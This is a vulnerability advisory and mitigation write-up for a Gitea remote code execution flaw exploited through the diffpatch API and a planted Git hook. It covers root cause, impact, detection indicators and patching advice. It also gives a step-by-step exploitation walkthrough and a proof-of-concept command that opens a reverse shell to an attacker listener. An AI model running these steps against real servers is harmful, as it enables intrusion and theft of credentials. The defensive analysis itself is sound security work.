CVE-2026-60004: 
Gitea vulnerability analysis and mitigation

CVE-2026-60004 is a critical remote code execution (RCE) vulnerability in Gitea affecting versions 1.17.0 through 1.27.0, patched in version 1.27.1. The flaw allows an attacker with repository write access to abuse the diffpatch API endpoint to install a malicious Git hook and execute arbitrary shell commands as the Gitea service account. With open registration enabled (the default), an unauthenticated visitor can self-register and immediately exploit the vulnerability, making it effectively pre-authentication RCE. The vulnerability was published on July 28, 2026, by researcher NightRang3r, with NVD publication on August 26, 2026. It carries a CVSS v3.1 base score of 9.8 (Critical) (GitHub Advisory, CISA KEV).

The root cause (CWE-94: Improper Control of Generation of Code) lies in services/repository/files/patch.go, which applies attacker-controlled patches in a shared bare temporary clone using git apply --index --recount --cached --binary -3. When the same patch is submitted twice, an add/add collision occurs; Git's three-way fallback checks out the indexed path even under --cached. Because the repository root in a bare clone is $GIT_DIR, an executable patch entry named hooks/post-index-change becomes a live Git hook. Git then invokes this hook while writing the index, executing arbitrary shell commands as the Gitea service account. The exploit requires Git 2.32 or newer on the server, an enabled diffpatch route, and a writable/executable temporary filesystem. No outbound connection is required — the PoC stores command output in Git objects and retrieves it via authenticated smart HTTP (GitHub Advisory, GitHub Advisory DB).

Successful exploitation grants arbitrary OS command execution as the Gitea service account, resulting in full confidentiality, integrity, and availability compromise of the affected server. Attackers can access app.ini and application secrets, database credentials and contents, OAuth and CI/CD integration tokens, SSH keys, mounted repositories, and process environment variables. Depending on deployment isolation, this can enable lateral movement to internal services and infrastructure. Real-world attacks have been observed deploying cryptominer payloads, with reports of CPU spikes and dropper malware on victim systems (CISA KEV, GitHub Advisory).

CVE-2026-60004 is actively exploited in the wild and was added to CISA's Known Exploited Vulnerabilities (KEV) catalog on August 25, 2026, with a remediation due date of August 28, 2026 (CISA KEV). At least nine high-confidence public PoC exploit scripts are available on GitHub in Python and Go, including fully automated tools supporting reverse shell delivery, bulk target scanning, and multiple exploitation modes (GitHub Advisory DB). A Metasploit module pull request was also submitted. The EPSS score is 86.78% (100th percentile), indicating an extremely high probability of exploitation. Over 8,300 internet-exposed Gitea servers were identified as vulnerable, and observed attacks have deployed cryptominer payloads. No specific threat actor attribution has been publicly confirmed.

1. Reconnaissance: Identify internet-facing Gitea instances running versions 1.17.0–1.27.0 using Shodan, Censys, or FOFA (e.g., searching for Gitea banners). Confirm the version via GET /api/v1/version.
2. Obtain write access: If open registration is enabled (default), register a new account via the Gitea web UI or API (POST /api/v1/user). No prior credentials are required.
3. Create a repository: Create a new repository with auto-initialization enabled (POST /api/v1/user/repos with auto_init: true, object_format_name: sha1).
4. Craft the malicious patch: Build a diff patch that introduces an executable file at hooks/post-index-change containing a shell script payload (e.g., a reverse shell or command that stores output in a Git object). The patch targets the path hooks/post-index-change with mode 100755.
5. Submit the patch twice: POST the malicious patch to /api/v1/repos/{owner}/{repo}/diffpatch twice in succession. The second submission triggers an add/add collision, causing Git's three-way fallback to check out the hook file into $GIT_DIR/hooks/, making it a live Git hook.
6. Hook execution: Git automatically invokes hooks/post-index-change while writing the index, executing the attacker's shell commands as the Gitea service account.
7. Retrieve output: Fetch command output stored in a Git object via authenticated smart HTTP (git fetch on the result branch), or receive a reverse shell connection on the attacker's listener (e.g., python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444) (GitHub Advisory, GitHub Advisory DB).

• Network: Repeated or automated POST requests to /api/v1/repos/{owner}/{repo}/diffpatch from a single IP or newly registered account; outbound connections from the Gitea server process to unknown external IPs (reverse shell); unusual smart HTTP fetch requests to newly created repositories.
• File System: Unexpected executable files at $GITEA_TEMP/*/hooks/post-index-change or within bare clone temporary directories; unauthorized Git hook files in repository hook directories; new files or branches named output-* in recently created repositories.
• Logs: Gitea access logs showing two identical POST requests to the diffpatch endpoint in rapid succession; API calls for user registration followed immediately by repository creation and diffpatch requests; unusual git apply or git fetch operations in Gitea server logs.
• Process: Unexpected child processes spawned by the Gitea process (e.g., /bin/sh, curl, wget, python3, bash); processes associated with cryptomining (high CPU usage, unknown binaries); git hash-object, git mktree, or git commit-tree invocations outside normal repository operations.
• Repository Artifacts: Newly created private repositories with auto-initialized content followed by diffpatch commits; branches named output-{hex} containing a single file named output with command execution results (GitHub Advisory, 0xBlackash PoC).

The primary remediation is to upgrade Gitea to version 1.27.1 or later, which patches the diffpatch endpoint to prevent hook installation via patch collision (Gitea Blog). CISA mandated federal agencies apply mitigations by August 28, 2026 per BOD 26-04 (CISA KEV). If immediate patching is not possible, the following workarounds reduce risk:

• Disable open registration to prevent unauthenticated attackers from obtaining write access.
• Restrict repository creation to trusted users only.
• Limit repository write permissions to minimize the attack surface.
• Block or rate-limit access to the /api/v1/repos/*/diffpatch endpoint at the network or reverse proxy level.
• Rotate all secrets (app.ini, database credentials, OAuth tokens, SSH keys) if compromise is suspected.
• Audit Git hook files in temporary and repository directories for unauthorized entries.

CISA added CVE-2026-60004 to its KEV catalog on August 25, 2026, issuing an alert and mandating rapid remediation for federal agencies (CISA KEV). BleepingComputer reported that over 8,300 Gitea servers remained exposed after public disclosure, and that attackers were actively deploying cryptominer payloads. The Hacker News, SecurityWeek, and Help Net Security all covered the active exploitation, with community discussion on Reddit (r/pwnhub, r/SecOpsDaily, r/linuxadmin) highlighting the severity of open registration as an amplifying factor. Security researchers noted on Mastodon and dev.to that the vulnerability effectively turns a signup form into shell access, and one researcher described it as a "pre-auth RCE" due to Gitea's default open registration. The Shadowserver Foundation scanned for exposed instances and shared findings publicly. A Metasploit module pull request was submitted, further lowering the barrier to exploitation.